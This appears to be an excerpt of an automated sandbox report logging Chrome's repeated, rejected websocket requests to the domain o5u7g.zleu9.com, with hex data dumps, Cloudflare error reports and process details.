2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1144	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49807	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:12 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: a7QOHEJpPh5pHVWluHZ54A== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-23 19:54:13 UTC	577	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:54:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cRQkuXKK61t%2FjDbjGlS9meQij98QbA3Tyrwh7oYcUyUM7to1LdN9W1etKYEgFIVXj2taVMowN2Kr9QQiRVr0d8V0y96HdaePR%2ByOuv3Wdc%2BmJgu0s%2FHLsKtJ06jZhb6gphw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879067785b6a135d-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:54:13 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-23 19:54:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49811	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:21 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: sIEii/csLMqpx0gA7z7n3A== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-23 19:54:22 UTC	587	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:54:22 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mbt09xJa%2BOgQAK%2Bs9%2B8WuGAROKQm5hNVa05%2FCbFw%2Fyly2ZiDX%2Ff0%2BZ9BnaXLVfnqh9GIYntqHf%2BUKC6HrKdqb4gXKdprlxRQC32Gc%2B59dYspD3IlxvJ2pFISVh442lce6uM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879067adaeec12e3-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:54:22 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-23 19:54:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49812	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:31 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: TVVeDAGLEyldFZxAWAziaw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-23 19:54:32 UTC	579	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:54:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ECipAn3ZYxbuoFj8DN8714RcjdY2FhmvSju1Mm4vkBOSsQM3z2RhG6kFmzxCaSsD90dWAYMBw2DzBJ2%2BP4JSKBn1brsi%2F6Ndovoj5E9lb%2BTd6R7q%2FxsFo%2FkfvpKOhizhcoc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879067ed8ea444f1-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:54:32 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-23 19:54:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49815	35.190.80.1	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:42 UTC	540	OUT	OPTIONS /report/v4?s=Y7V3%2Fn6U%2F5sNHmUZQd93nQsa0GOvwG2%2FnqGaIIa3ZNHQALwgfFQn6mtTnUbnh%2FBXtTQtKsu87S%2BaRDTq9bT4tnQtuKBX8wJwnMeo9eLg6qB%2BCQn5lwebysOUTfRuAA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://o5u7g.zleu9.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:54:42 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 23 Apr 2024 19:54:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49816	35.190.80.1	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:42 UTC	482	OUT	POST /report/v4?s=Y7V3%2Fn6U%2F5sNHmUZQd93nQsa0GOvwG2%2FnqGaIIa3ZNHQALwgfFQn6mtTnUbnh%2FBXtTQtKsu87S%2BaRDTq9bT4tnQtuKBX8wJwnMeo9eLg6qB%2BCQn5lwebysOUTfRuAA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 849 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:54:42 UTC	849	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 36 32 34 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 30 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 33 2e 32 30 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 35 75 37 67 2e 7a 6c 65 75 39 Data Ascii: [{"age":36244,"body":{"elapsed_time":908,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.143.205","status_code":404,"type":"http.error"},"type":"network-error","url":"https://o5u7g.zleu9
2024-04-23 19:54:43 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 23 Apr 2024 19:54:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49818	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:52 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: mMst3Bzbq9lleYoOa3ocBg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-23 19:54:53 UTC	571	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:54:53 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJvZcXuksP5HsgKNQLHfO94Wg1fgkb1JjnGJwJ17Arz2B9yMatqvGwcaAKWjmOnKYcAgVhsJfyf8mb1EDzZXHPIiRUEUGBU6a053CAoFgrejPfFOZ3Liy9%2FO2pc52uTW6no%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8790686f7b1744fd-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:54:53 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-23 19:54:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49819	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:55:13 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: eZi7OBO+iyttvSE0/F0zDg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-23 19:55:14 UTC	579	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:55:14 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HkmwBklPPsCXYF1vzb8WeAVXlKvARJYx6lkbjoF2zZ%2FyUDbCtJ7JBYLgcqP%2B%2FoE3XDnJymV%2BzzqrRg%2B3VI7TQnss7ACHysns7D358uAltAm59zocoegIewUTsDkhx1ofg3Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879068f33a101833-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:55:14 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-23 19:55:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5752, Parent PID: 1012

General

Target ID:	0
Start time:	21:53:10
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6412, Parent PID: 5752

General

Target ID:	2
Start time:	21:53:15
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1900,i,322101976962123545,3161144122731674671,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
